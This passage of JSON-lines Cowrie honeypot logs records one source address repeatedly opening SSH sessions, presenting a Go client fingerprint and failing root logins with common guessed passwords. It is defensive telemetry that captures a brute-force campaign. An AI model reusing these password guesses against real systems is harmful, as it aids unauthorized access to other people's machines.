com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:51.564548Z","src_ip":"60.165.124.241","session":"88592d486216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lenovo123","message":"login attempt [root/Lenovo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:52.286723Z","src_ip":"60.165.124.241","session":"88592d486216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:53.538293Z","src_ip":"60.165.124.241","session":"88592d486216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44964,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfbd035f55b0","protocol":"ssh","message":"New connection: 60.165.124.241:44964 (10.17.0.5:22) [session: cfbd035f55b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:53.785835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:53.791970Z","src_ip":"60.165.124.241","session":"cfbd035f55b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:54.034072Z","src_ip":"60.165.124.241","session":"cfbd035f55b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kian123","message":"login attempt [root/Kian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:54.773480Z","src_ip":"60.165.124.241","session":"cfbd035f55b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:56.023832Z","src_ip":"60.165.124.241","session":"cfbd035f55b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48304,"dst_ip":"10.17.0.5","dst_port":22,"session":"550d3ef32eea","protocol":"ssh","message":"New connection: 60.165.124.241:48304 (10.17.0.5:22) [session: 550d3ef32eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:56.256358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:56.261779Z","src_ip":"60.165.124.241","session":"550d3ef32eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:56.502622Z","src_ip":"60.165.124.241","session":"550d3ef32eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa147258.","message":"login attempt [root/Aa147258.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:57.235841Z","src_ip":"60.165.124.241","session":"550d3ef32eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:58.487350Z","src_ip":"60.165.124.241","session":"550d3ef32eea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51148,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdc28284c951","protocol":"ssh","message":"New connection: 60.165.124.241:51148 (10.17.0.5:22) [session: cdc28284c951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:58.721739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:58.727323Z","src_ip":"60.165.124.241","session":"cdc28284c951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:58.968023Z","src_ip":"60.165.124.241","session":"cdc28284c951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ucloud123","message":"login attempt [root/ucloud123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:59.690006Z","src_ip":"60.165.124.241","session":"cdc28284c951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:00.932908Z","src_ip":"60.165.124.241","session":"cdc28284c951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54310,"dst_ip":"10.17.0.5","dst_port":22,"session":"16a9c7d394c2","protocol":"ssh","message":"New connection: 60.165.124.241:54310 (10.17.0.5:22) [session: 16a9c7d394c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:01.164130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:01.169261Z","src_ip":"60.165.124.241","session":"16a9c7d394c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:01.406372Z","src_ip":"60.165.124.241","session":"16a9c7d394c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@wsx#edc","message":"login attempt [root/!qaz@wsx#edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:02.122104Z","src_ip":"60.165.124.241","session":"16a9c7d394c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:03.367930Z","src_ip":"60.165.124.241","session":"16a9c7d394c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57084,"dst_ip":"10.17.0.5","dst_port":22,"session":"15bdfe53773b","protocol":"ssh","message":"New connection: 60.165.124.241:57084 (10.17.0.5:22) [session: 15bdfe53773b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:03.602758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:03.612899Z","src_ip":"60.165.124.241","session":"15bdfe53773b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:03.851706Z","src_ip":"60.165.124.241","session":"15bdfe53773b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"secret123","message":"login attempt [root/secret123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:04.574212Z","src_ip":"60.165.124.241","session":"15bdfe53773b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.413617849349976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:04.874622Z","src_ip":"123.8.0.207","session":"26dc178922f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:05.816929Z","src_ip":"60.165.124.241","session":"15bdfe53773b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60106,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb9574bd7bca","protocol":"ssh","message":"New connection: 60.165.124.241:60106 (10.17.0.5:22) [session: cb9574bd7bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:06.091921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:06.098349Z","src_ip":"60.165.124.241","session":"cb9574bd7bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:06.360587Z","src_ip":"60.165.124.241","session":"cb9574bd7bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"electric","message":"login attempt [root/electric] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:07.137118Z","src_ip":"60.165.124.241","session":"cb9574bd7bca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:08.398678Z","src_ip":"60.165.124.241","session":"cb9574bd7bca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35212,"dst_ip":"10.17.0.5","dst_port":22,"session":"45c012a0dff6","protocol":"ssh","message":"New connection: 60.165.124.241:35212 (10.17.0.5:22) [session: 45c012a0dff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:08.615712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:08.621954Z","src_ip":"60.165.124.241","session":"45c012a0dff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:08.861847Z","src_ip":"60.165.124.241","session":"45c012a0dff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Qq","message":"login attempt [root/123456Qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:09.585354Z","src_ip":"60.165.124.241","session":"45c012a0dff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:10.829706Z","src_ip":"60.165.124.241","session":"45c012a0dff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37930,"dst_ip":"10.17.0.5","dst_port":22,"session":"e25fbc167c9c","protocol":"ssh","message":"New connection: 60.165.124.241:37930 (10.17.0.5:22) [session: e25fbc167c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:11.060126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:11.068838Z","src_ip":"60.165.124.241","session":"e25fbc167c9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:11.312548Z","src_ip":"60.165.124.241","session":"e25fbc167c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Dmin123","message":"login attempt [root/@Dmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:12.032994Z","src_ip":"60.165.124.241","session":"e25fbc167c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:13.272279Z","src_ip":"60.165.124.241","session":"e25fbc167c9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41124,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf89a25b0c25","protocol":"ssh","message":"New connection: 60.165.124.241:41124 (10.17.0.5:22) [session: cf89a25b0c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:13.506990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:13.512436Z","src_ip":"60.165.124.241","session":"cf89a25b0c25","protocol":"ssh"}
